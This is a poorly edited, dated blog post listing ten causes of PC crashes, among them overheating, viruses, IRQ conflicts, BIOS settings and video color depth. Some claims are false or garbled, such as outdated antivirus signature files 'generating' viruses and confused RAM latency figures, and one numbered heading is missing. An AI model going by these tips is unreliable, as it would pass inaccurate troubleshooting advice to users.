10 reasons why PCs crash U must Know (part 2)

6) Overheating :

• CPU(Central Process Unit) have fans for cooling. By chance with any reason if these fans are fail it may start Overheating & generate particular error that is know as Kernel Error.
• CPU problems can often be fixed by disabling the CPU internal cache in the BIOS that makes the machine run more slowly, but it also more stable.

7) Viruses :

• Very common & big problem of is "Virus". Many viruses not only corrupt your Data but It'll makes your heard disk useless.Some viruses erase the boot sector of a hard drive.
• A virus scanner requires list of signatures virus to able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer. Otherwise it'll generate virus.

• Cause because of badly-installed software. This problem often cured by reinstalling that software. Many s/w not remove fully from your computer some of their files are in registry.

9) Printers :

• Printers have only a small amount of memory, called a Buffer. This can be easily overloaded. This will also slow down the computer's performance.The sending document to print creates bigger file, called Postscript File.

10) Power supply problems :

• Power spike can crash computer easily.Uninterrupted power supply (UPS) will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
  

 

10 reasons why PCs crash U must Know (part 1)

1) Hardware Conflict :

• Each H/W device communicates to other devices through an interrupt request channel (IRQ). It's  unique for each device.
• eg.

• Keyboard usually uses IRQ 1
• Printer usually connects internally on IRQ 7.
• if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen.

2) Bad Ram :

• Gives Fatal Exception Error that indicates a serious H/W problem. Sometimes it may mean a part is damaged and will need replacing. It cause because of miss match of chip.

3) BIOS settings :

• Every motherboard is supplied with a range of chipset settings that are decided in the factory. To access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
• Common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

4) Hard disk drives :

• After a few weeks, the information on a hard disk drive starts to become fragmented. It is a good to do defragment the hard disk every week.Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

5) Fatal OE exceptions and VXD errors :

• It caused by video card problems.
• To resolved it
• Go to
• Start-Settings-Control Panel-Display-Settings
• In the left look at the color settings on the left of that window. For most desktops, high color 16-bit depth is adequate.
